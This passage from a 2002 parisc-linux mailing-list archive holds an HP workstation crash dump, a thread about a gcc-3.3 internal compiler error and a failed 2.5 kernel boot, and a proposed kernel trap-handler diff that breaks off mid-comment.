04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0007e5ed0007aeb9  0001712e0005d8b9  0000000000000000  000000000000001e
12-15   00001d2c000540f6  00038d7600016738  000000f0f0003800  0000000000000000
16-19   0000001900b776ca  000000003fffffef  ffffffeff0001c14  0000000002e008a2
20-23   000000009a07c3c1  c00000007c1f00b8  0000000008000008  0000000000000000
24-27   b7f7f5edf7ffeea9  37b3f46df7ff8099  a0aab6c9073ca7ff  558611b4bdf3b1f1
28-31   b7f7f5edf7ffeeb9  5fffa53831fbb6be  b7f7f5edf7ffeeb9  b7f7f5edf7ffeeb9
Space Registers 0 - 7

00-03   00000000          402a0441          42480002          00000000
04-07   00000000          14918480          03200411          00040302

IIA Space                    = 0x000000003fffffef
IIA Offset                   = 0xffffffeff0001c18
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffffa2000
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  95bf5f67088d36c9  c93e6f9ec71c2463  2dd5ffffc9884908
04-07   404991fad4d3b83a  8253eec9d2f915b9  fe6bbfb95997cd64  b6b5cfba9c484ca8
08-11   a576ee93751c0d24  adfb94781e4a4512  af157e9eacc2ea22  bb10b4cd16347920
12-15   2bb9077b66c29ed4  bf44fa07b69d54f7  bb72c352a16d4a70  b1bee8f8e31cba5c
16-19   0f6cd6faf184659c  bf316442aa1c5c48  821639c8a41dc720  1bf02a77f6231b71
20-23   02b1bf10b597db02  0000070c08000028  9d4ce7aa13ba9dfc  fae3ca03726fcf04
24-27   a05b4e07f9a95182  07cdbcdc42ce269b  b988140fad3b1136  98c6f46766ca46b1
28-31   a437f9fd2c8bbb58  b896772db6214a60  fedbad5e616125c4  fdea9dd8718aaaf8


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xc381841008000000
Available Memory             = 0x0000000400000000
CPU Diagnose Register 2      = 0x0202010080802000
CPU Status Register 0        = 0x3040000000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x4800000000000002
Read Short LOG               = 0xc13ff0f0f0005cf8
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0x34793f810f2010e7
RUN_DATA_LOW                 = 0x0ce0107fd89705f0
RUN_CTRL                     = 0x00003c1800003c18
RUN_ADDR                     = 0xc13ff0f0f00591c8
System Responder Path        = 0x00ffffffffffffff


HPMC PIM Analysis Information:

Timestamp =
  Sun Nov  3 04:40:29 GMT 2002    (20:02:11:03:04:40:29)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

CPU 1 observed a Broadcast Error on the Runway Bus.


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.

-----------------  Processor 1 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000


Memory Error Log Information:

Timestamp =
  Sun Nov  3 04:40:29 GMT 2002    (20:02:11:03:04:40:29)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged


I/O Module Error Log Information:

Timestamp =
  Sun Nov  3 04:40:29 GMT 2002    (20:02:11:03:04:40:29)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc249   0x00000000fed30048
   1    ----------   0x1e0cc009   ------------------
   2    0x00000000   0x2e0cc009   0x00000000fed34048
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------
Main Menu: Enter command >
-- snip ser pim --

[note: The clock is set correctly within Debian, and the hang happened at
Nov 5 11:00am EST - I don't know if the Nov 3rd items are related ]



From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gcc-3.3 hppa patch
Date: Wed, 6 Nov 2002 08:18:48 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <3DB5755500002283@ocpmta7.be.tiscali.com>
References: <200210311549.g9VFns45010517@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621881 16443 80.91.229.3 (22 Nov 2014 02:04:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:41 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  6 00:19:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FF314829
	for <parisc-linux@parisc-linux.org>; Wed,  6 Nov 2002 00:19:31 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 189KTA-0003bv-00; Wed, 06 Nov 2002 08:19:20 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 6 Nov 2002 08:18:48 +0100
In-Reply-To: <200210311549.g9VFns45010517@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16654

Hi Dave,

>-- Original Message --
>Subject: Re: gcc-3.3 hppa patch
>To: jsoe0708@tiscali.be
>Date: Thu, 31 Oct 2002 10:49:54 -0500 (EST)
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>
>
>> >I have decided to split it into two parts.  I am testing the call
>> >rewrite now.  This is the only part that is relevant to user space
>> >on linux.  Hopefully, this will be installed in a day or so.
>
>This is now installed in the gcc main branch.
>

I just have to grab gcc-snapshot debian pkg; nice :))

I also try to test a 2.5 (45-pa5) it compiles well (after application of
an old tips [remove $$mulU from parisc_ksyms.c]) but failled to boot :((
(Is somebody already reach to boot a 2.5 pa?)

And so I come back to my 2.4.19-pa24 (+evms+jfs+xfs patches; as it is where
I suspect some gcc bugs and want to test the improvement with last gcc-3.3).
Very unfortunately it failled earlier (just after make dep and very begining
of make vmlinux) with following messages:
make[2]: Entering directory `/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/arch/parisc/math-emu'
/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/scripts/mkdep
-D__KERNEL__ -I/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include
 -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
-fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1 -mschedule=7100
 -nostdinc -I /usr/lib/gcc-snapshot/lib/gcc-lib/hppa-linux/3.3/include --
cnv_float.h dbl_float.h decode_exc.c denormal.c dfadd.c dfcmp.c dfdiv.c dfmpy.c
dfrem.c dfsqrt.c dfsub.c driver.c fcnvff.c fcnvfu.c fcnvfut.c fcnvfx.c fcnvfxt.c
fcnvuf.c fcnvxf.c float.h fmpyfadd.c fpbits.h fpu.h fpudispatch.c frnd.c
hppa.h math-emu.h sfadd.c sfcmp.c sfdiv.c sfmpy.c sfrem.c sfsqrt.c sfsub.c
sgl_float.h types.h > .depend
make[2]: Leaving directory `/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/arch/parisc/math-emu'
make[1]: Leaving directory `/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028'
make update-modverfile
make[1]: Entering directory `/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028'
/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/linux/modversions.h
was updated
make[1]: Leaving directory `/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028'
gcc -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -o scripts/split-include
scripts/split-include.c
scripts/split-include include/linux/autoconf.h include/config
gcc -D__KERNEL__ -I/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include
 -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common
-fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1 -mschedule=7100
  -DKBUILD_BASENAME=main -c -o init/main.o init/main.c
In file included from /usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/linux/highmem.h:5,
                 from /usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/linux/pagemap.h:16,
                 from /usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/linux/locks.h:8,
                 from /usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/linux/blk.h:5,
                 from init/main.c:25:
/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/asm/pgalloc.h:
In function `flush_cache_range':
/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/asm/pgalloc.h:83:
warning: comparison between signed and unsigned
In file included from /usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/linux/highmem.h:5,
                 from /usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/linux/pagemap.h:16,
                 from /usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/linux/locks.h:8,
                 from /usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/linux/blk.h:5,
                 from init/main.c:25:
/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/asm/pgalloc.h:
In function `flush_cache_page':
/usr/src/kernel-source-2.4.19-pa24-evms-120-jfs-1023-xfs-20021028/include/asm/pgalloc.h:102:
warning: comparison between signed and unsigned
init/main.c: In function `init':
init/main.c:624: internal compiler error: Segmentation fault
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
{standard input}: Assembler messages:
{standard input}:793: Error: can't resolve `.L242' {.text.init section} -
`.L256' {*UND* section}
{standard input}:793: Fatal error: Missing .exit

make: *** [init/main.o] Error 1

Any idea.

Thanks in advance,
        Joel

PS: Merge of 2.4.20-rc1 will hardest than I believe



From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.3 hppa patch
Date: Wed, 6 Nov 2002 12:24:33 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20021106122433.A23697@parcelfarce.linux.theplanet.co.uk>
References: <200210311549.g9VFns45010517@hiauly1.hia.nrc.ca> <3DB5755500002283@ocpmta7.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621882 16445 80.91.229.3 (22 Nov 2014 02:04:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:42 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  6 05:24:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D555E4829
	for <parisc-linux@parisc-linux.org>; Wed,  6 Nov 2002 05:24:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 189PEX-0006S7-00; Wed, 06 Nov 2002 12:24:33 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DB5755500002283@ocpmta7.be.tiscali.com>; from jsoe0708@tiscali.be on Wed, Nov 06, 2002 at 08:18:48AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16655

On Wed, Nov 06, 2002 at 08:18:48AM +0100, jsoe0708@tiscali.be wrote:
> I also try to test a 2.5 (45-pa5) it compiles well (after application of
> an old tips [remove $$mulU from parisc_ksyms.c]) but failled to boot :((
> (Is somebody already reach to boot a 2.5 pa?)

come on joel, you can give better bug resports than that.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5.45-pa5 failed to boot [was: gcc-3.3 hppa patch]
Date: Wed, 6 Nov 2002 17:11:53 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <3DB5755500002451@ocpmta7.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621882 16449 80.91.229.3 (22 Nov 2014 02:04:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:42 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  6 09:12:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id A6BA04829
	for <parisc-linux@parisc-linux.org>; Wed,  6 Nov 2002 09:12:11 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 189Smg-0005Gv-00; Wed, 06 Nov 2002 17:12:02 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 6 Nov 2002 17:11:53 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16656

>Subject: Re: [parisc-linux] Re: gcc-3.3 hppa patch
>
>
>On Wed, Nov 06, 2002 at 08:18:48AM +0100, jsoe0708@tiscali.be wrote:
>> I also try to test a 2.5 (45-pa5) it compiles well (after application
of
>> an old tips [remove $$mulU from parisc_ksyms.c]) but failled to boot
:((
>> (Is somebody already reach to boot a 2.5 pa?)
>
>come on joel, you can give better bug resports than that.
>
You have right but it was not the first object of this mail. (just mentioned
this experince comparing 2.4 kernel).

But as you are interested here is what I do:

I use gcc-snapshot (2002-11-03), the CVS update kernel 2.5.45-pa5 and the
config file config-richard-2.5 from ftp.pl.org (is it the wrong things?).
Then (as usual) after a make menuconfig and change of env var:
LD_LIBRARY_PATH=/usr/lib/gcc-snapshot/lib:$LD_LIBRARY_PATH
PATH=/usr/lib/gcc-snapshot/bin:$PATH,
I run (make dep; make vmlinux; make modules; make modules_install).
Put then the kernel and its system.map in place and try to boot but it failled
just after the palo message:
If it is the last message...

Nothing more: just see "shuting down ...." on LCD of the B2000

Sorry but I remove this stuff so piminfo would not be helpfull right now.
I will try latter last 2.5.46-pa1 but may be now with my working config
file of 2.4.19?

Well it was to compile my merge of 2.4.20-rc1 with 2.4.19-pa24 for which
I try to backport arch/parisc/traps.c. Do you know how can I test it?

Joel




From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gcc-3.3 hppa patch
Date: Wed, 6 Nov 2002 13:46:30 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200211061846.gA6IkUuf026325@hiauly1.hia.nrc.ca>
References: <3DB5755500002283@ocpmta7.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621882 16451 80.91.229.3 (22 Nov 2014 02:04:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:42 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  6 12:07:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 006DC4829
	for <parisc-linux@parisc-linux.org>; Wed,  6 Nov 2002 12:07:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gA6IkVSf026327;
	Wed, 6 Nov 2002 13:46:31 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gA6IkUuf026325;
	Wed, 6 Nov 2002 13:46:30 -0500 (EST)
In-Reply-To: <3DB5755500002283@ocpmta7.be.tiscali.com> from "jsoe0708@tiscali.be" at Nov 6, 2002 08:18:48 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16657

> init/main.c: In function `init':
> init/main.c:624: internal compiler error: Segmentation fault
> Please submit a full bug report,
> with preprocessed source if appropriate.

This may or may not be a gcc problem.  I can't easily recreate the
environment that caused the fault.  That's why GCC asks for preprocessed
source.

It also helps if you can narrow the problem down by eliminating
extraneous code to produce a simple testcase that causes the error.

> See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.

Please read and follow its recommendations.  Casual reports are not
good enough.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] If you feel bored, test these 2.5 changes...
Date: Thu, 7 Nov 2002 00:42:04 -0500
Lines: 170
Approved: news@gmane.org
Message-ID: <20021107054204.GA4465@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="h31gzZEtNLTqOjlF"
X-Trace: ger.gmane.org 1416621883 16453 80.91.229.3 (22 Nov 2014 02:04:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov  6 22:41:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85DF34829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Nov 2002 22:41:57 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 189fQb-0001Bf-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 07 Nov 2002 00:42:05 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (98% Sync Ratio [==========])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16658

--h31gzZEtNLTqOjlF
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


pa's,

If you feel good and bored, or willing to test something,
the following cvs diff needs atleast a round of tests in 
2.5 before I commit. Right now I'm *uber* busy with glibc,
and tausq hid my kernel tree ;)

- Added the last enumerations to the cpu list.
	= These are probably incorrect.

- Forward port of trap handler changes.
	= Virtually identical to 2.4 code which 
	= has been running for almost 5 months without
	= problems.

- Added a code comment about non-returning functions.
	= Purely cosmetic...

Apply, test and get back to the list? :)

c.


--h31gzZEtNLTqOjlF
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="traps-fault-2.5.changes"

Index: arch/parisc/kernel/setup.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/setup.c,v
retrieving revision 1.9
diff -u -p -r1.9 setup.c
--- arch/parisc/kernel/setup.c	5 Nov 2002 22:16:49 -0000	1.9
+++ arch/parisc/kernel/setup.c	7 Nov 2002 05:31:26 -0000
@@ -212,6 +212,11 @@ static void parisc_proc_mkdir(void)
                         proc_runway_root = proc_mkdir("bus/runway", 0);
                 }
                 break;
+	case pcx:
+	case pcxs:
+	case pcxt:
+		/* Are not assured to have any of the above busses */
+		break;
 	}
 }
 
Index: arch/parisc/kernel/traps.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/traps.c,v
retrieving revision 1.16
diff -u -p -r1.16 traps.c
--- arch/parisc/kernel/traps.c	2 Nov 2002 03:00:29 -0000	1.16
+++ arch/parisc/kernel/traps.c	7 Nov 2002 05:31:26 -0000
@@ -434,9 +434,17 @@ void parisc_terminate(char *msg, struct 
 	if (!console_drivers)
 		pdc_console_restart();
 
-	if (code == 1)
-	    transfer_pim_to_trap_frame(regs);
+        /* Not all switch paths will gutter the processor... */
+        switch(code){
+
+        case 1:
+                transfer_pim_to_trap_frame(regs);
+                break;
 
+	default:
+		/* Fall through */
+	}
+		
 	show_stack((unsigned long *)regs->gr[30]);
 
 	printk("\n");
@@ -451,6 +459,7 @@ void parisc_terminate(char *msg, struct 
 	 * system will shut down immediately right here. */
 	pdc_soft_power_button(0);
 	
+	/* Gutter the processor */
 	for(;;)
 	    ;
 }
@@ -547,6 +556,7 @@ void handle_interruption(int code, struc
 
 		die_if_kernel("Privileged register usage", regs, code);
 		si.si_code = ILL_PRVREG;
+		/* Fall Through */		
 	give_sigill:
 		si.si_signo = SIGILL;
 		si.si_errno = 0;
@@ -561,21 +571,42 @@ void handle_interruption(int code, struc
 		si.si_addr = (void *) regs->iaoq[0];
 		force_sig_info(SIGFPE, &si, current);
 		return;
-
+		
+        case 13:
+		/* Conditional Trap:
+		   Thee condition succees in an instruction which traps on condition  */
